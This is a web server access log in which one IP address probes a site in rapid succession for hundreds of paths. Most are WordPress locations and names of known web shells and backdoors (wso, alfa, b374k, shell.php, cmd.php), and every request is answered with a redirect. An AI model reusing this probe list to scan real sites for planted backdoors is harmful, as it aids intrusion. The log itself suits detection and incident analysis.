52.184.145.216 - - [10/Apr/2025:06:35:14 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:14 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:14 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:15 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:15 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:15 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:15 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:15 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:15 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:16 -0400] "GET /test/essexec.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:16 -0400] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:16 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:17 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:17 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:17 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:17 -0400] "GET /wp-content/plugins/dclxurc/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:17 -0400] "GET /wp-content/plugins/df2xx/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:18 -0400] "GET /yanz.php/wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:18 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:18 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:18 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:18 -0400] "GET /api_upload.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:19 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:19 -0400] "GET /wp-content/plugins/pxgpozm/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:19 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:19 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:19 -0400] "GET /restore.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:20 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:20 -0400] "GET /home/bmlfvgdl.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:20 -0400] "GET /wp-content/themes/kzdx3sro/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:20 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:20 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:20 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:21 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:21 -0400] "GET /wp-content/plugins/TOPXOH/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:21 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:21 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:21 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:22 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:22 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:22 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:22 -0400] "GET /sql_editor.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:22 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:23 -0400] "GET /change_password.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:23 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:23 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:23 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:23 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:23 -0400] "GET /wp-content/themes/index HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:24 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:24 -0400] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:24 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:24 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:24 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:24 -0400] "GET /wp-includes/gCdfg/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:25 -0400] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:25 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:25 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:25 -0400] "GET /ssl_check.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:26 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:26 -0400] "GET /reportes/wp-content/themes/e6rffsr5/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:26 -0400] "GET /wp-content/uploads/2023/gncfqygn.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:26 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:27 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:27 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:27 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:27 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:27 -0400] "GET /user_data.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:28 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:28 -0400] "GET /utilities.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:28 -0400] "GET /boot.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:28 -0400] "GET /backup/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:28 -0400] "GET /wp-content/uploads/7.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:28 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:29 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:29 -0400] "GET /logins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:29 -0400] "GET /wp-content/themes/astra/inc/metabox/extend-metabox/css/minified/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:29 -0400] "GET /js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:29 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:29 -0400] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:30 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:30 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:30 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:30 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:30 -0400] "GET /.well-known/cwianpri.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:31 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:31 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:31 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:32 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:32 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:32 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:32 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:32 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/a.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:32 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:33 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:33 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:33 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:33 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:33 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:34 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:34 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:34 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:34 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:34 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:34 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:35 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:35 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:35 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:35 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:35 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:36 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:36 -0400] "GET /wp-content/themes/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:36 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:36 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:36 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:37 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:37 -0400] "GET /wordpress/wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:37 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:37 -0400] "GET /doc.php/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:37 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:38 -0400] "GET /wp-content/plugins/fcexjsk/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:38 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:38 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:38 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:39 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:39 -0400] "GET /wp-includes/agTOMuSfW6r.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:39 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:39 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:39 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:39 -0400] "GET /delete.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:40 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:40 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:40 -0400] "GET /wp-includes/template-wploader.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:40 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:40 -0400] "GET /wp-content/plugins/ImageManager/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:40 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:41 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:41 -0400] "GET /assets/images/cmd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:41 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:41 -0400] "GET /wp-content/plugins/insert-headers-and-footers/languages/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:41 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:41 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:42 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:42 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:42 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:42 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:42 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:42 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:43 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:43 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:43 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:43 -0400] "GET /wp-content/user/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:43 -0400] "GET /wp-content/plugins/config HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:43 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:44 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:44 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:44 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:44 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:44 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:44 -0400] "GET /site/wp-content/plugins/hmdqckh/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:45 -0400] "GET /sleepster/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:45 -0400] "GET /wp-content/plugins/carousel-slider/assets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:45 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:45 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:45 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:46 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:46 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:46 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:46 -0400] "GET /wp-includes/js/crop/mart.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:46 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:47 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:47 -0400] "GET /120f9.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:47 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:47 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:47 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:48 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:48 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:48 -0400] "GET /error_exception.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:48 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:48 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:49 -0400] "GET /review.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:49 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:49 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:49 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:49 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:49 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:50 -0400] "GET /wp-content/plugins/vjeqbbj/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:50 -0400] "GET /wp-content/ccx/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:50 -0400] "GET /wp-admin/js//wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:50 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:50 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:51 -0400] "GET /wizard.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:51 -0400] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:51 -0400] "GET /wp-content/plugins/wp-hps/sh/b374k.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:51 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:51 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:51 -0400] "GET /wp-content/uploads/BbUMY/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:52 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:52 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:52 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:52 -0400] "GET /wp-includes/class-wp-cache.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:53 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:53 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:53 -0400] "GET /wp-content/themes/f25zgwig/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:53 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:53 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:53 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:54 -0400] "GET /test/maxitest_v3/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:54 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:54 -0400] "GET /wp-includes/eew.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:54 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:54 -0400] "GET /wp-admin/themes/setup HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:55 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:55 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:55 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:55 -0400] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:55 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:55 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:56 -0400] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:56 -0400] "GET /wp-content/languages/index.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:56 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:56 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:56 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:57 -0400] "GET /products/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:35:57 -0400] "GET /wp-admin/setup HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - 